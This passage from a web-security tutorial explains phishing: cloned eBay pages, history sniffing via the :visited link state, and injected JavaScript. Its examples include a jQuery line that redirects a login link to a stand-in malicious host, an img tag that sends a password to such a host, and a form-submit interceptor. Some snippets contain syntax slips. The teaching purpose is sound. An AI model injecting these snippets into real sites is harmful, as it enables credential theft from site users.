There are numerous examples surrounding eBay; some of the most common examples involve the use of sending a fake e-mail and a fake website that looks like eBay, enticing you with certain reasons to make you log in to the fake site so that you willingly submit your login information.

Most importantly, creating a phishing site just requires you to understand the basics of copy-paste and how to fail-safe a web page. Here is an example:

The real and authentic eBay website

The next example shows a fake eBay page:

Fake eBay website that looks just the same

Now can you tell which website is the real eBay site? Aesthetically speaking, both look exactly the same. But sharp-eyed readers will notice something different about the URL (web) address bar: one says http://www.ebay.co.uk/rpp/WOW, while the other reads as a file URL on your desktop.

That's right. The second one is a fake website; I've simply copied and saved the web page. So, imagine that I am an unscrupulous dude and want your eBay information. I could very well spam millions of people with fake eBay-related e-mails and get them to log in to my fake eBay site; I would just have gotten your eBay login credentials.

Another classic example typically involves PayPal. PayPal also has a website dedicated to this topic at https://www.paypal.com/us/webapps/mpp/security/what-is-phishing, as shown in the following screenshot:

PayPal's guide to phishing

Alright, now that we have covered the classic examples, let's move on to other examples.

How does accessing the user's history be related to phishing? Well, besides the fact that it is a complete invasion of privacy, knowing a user's history gives the hijacker a better chance of creating a successful phishing scheme. For instance, if the hijacker knows which websites you frequently visit, or worse, which banking services you use, these bits and pieces of information will enhance their chances of creating a successful phishing attempt.

So, how do we access a user's history by accessing local state? For a start, you'll need to know a bit of CSS, which is as follows:

a:link
a:visited
a:hover
a:active

A link is represented by the a tag, where :link represents an unvisited link, :visited represents a visited link, :hover represents the state of the link when a mouse pointer goes over the link, and lastly, :active represents a link that is working.

We can basically make use of JavaScript to sniff for the link's state. For example, we might have a web page of some of the most commonly visited links. Assume that we get a user to visit this web page of ours. If one or more links on our web page has a state of :visited, then we know that this user has previously visited this page.

We can simply get the state of the link by doing this (using jQuery):

$("a:visited").length // simply returns the number of links that has been visited.

While this may work for older browsers, newer browser versions have stopped supporting this feature for security purposes. So, if for some reason, you (or people you know) have not upgraded their browsers to newer ones, it is time to get them upgraded.

XSS and CSRF can also "contribute" to phishing. Remember that a piece of JavaScript on a web page has access to all the elements on a web page. This means that the JavaScript, once injected into the web page, can do many things, including malicious activities.

For instance, consider a login URL. A piece of malicious JavaScript could change the login URL of the button to a malicious web page (a common strategy seen as part of the classic examples).

Consider a normal login URL, as follows:

<a id="login" href="/safe_login">Login Here</a>

This can be changed using the following code :

$("#login").attr("href","http://malicious-website.com/login")")

Another classic example is the use of img tags, where the correct image is shown, but the URL contains the image that comes from a malicious link, and this link attempts to send your personal information to the malicious server:

<img src="http//malicious-sites.com/your-logo.jpg?sensitive_data=yourpassword"/>

XSS and CSRF can also be used to intercept events, such as form-submit requests, and manipulate the request by sending the information to some other malicious servers.

Take a look at the code example for intercept.html in this chapter:

<!DOCTYPE html>
<html lang="en">
  <head>

    <title>Intercept</title>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>

    <div class="container">
      <div class="header">
        <ul class="nav nav-pills pull-right">
          <li class="active"><a href="#">Home</a></li>
          <li><a href="#">About</a></li>
          <li><a href="#">Contact</a></li>
        </ul>
        <h3 class="text-muted">Project name</h3>
      </div>

      <div class="jumbotron">
        <form role="form">
          <div class="form-group">
            <label for="exampleInputEmail1">Input 1</label>
            <input id="input1" type="text" class="form-control" id="exampleInputEmail1" placeholder="Input 1">
          </div>
          <div class="form-group">
            <label for="exampleInputPassword1">Input 2</label>
            <input id="input2" type="text" class="form-control" id="exampleInputPassword1" placeholder="Input 2">
          </div>
          <button type="submit" class="btn btn-default">Submit</button>
        </form>
      </div>
    </div> <!-- /container -->
    <!-- Bootstrap core JavaScript
    ================================================== -->
    <!-- Placed at the end of the document so the pages load faster -->
    <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
    <script>
    $(document).on('submit', 'form', function(event) {
    	console.log("submit");
      console.log( $('#input1').val() );
      console.log( $('#input2').val() );
      // perform a get or post request to a malicious server. 
      console.log("i might just send your form data to somewhere else")
    })
    </script>
  </body>
</html>

I want you to note the JavaScript snippet where the script is listening to a global submit event. Assuming the hijacker knows what the form fields are, the ID that your form is using, and assuming they have successfully injected this piece of script into your website, you may be in deep trouble.

To see why, open intercept.html in your browser. You should see the following output:

A simple form with a script listening for a global submit event

Now, try to input some values, as I did in the preceding screenshot. Now open your console and check the output as you click on Submit. The output will look similar to the following screenshot:

The form data can be sent anywhere should this script be malicious

Since the script is listening for a global form submit event, it can technically listen and pass the values to URLs other than your site.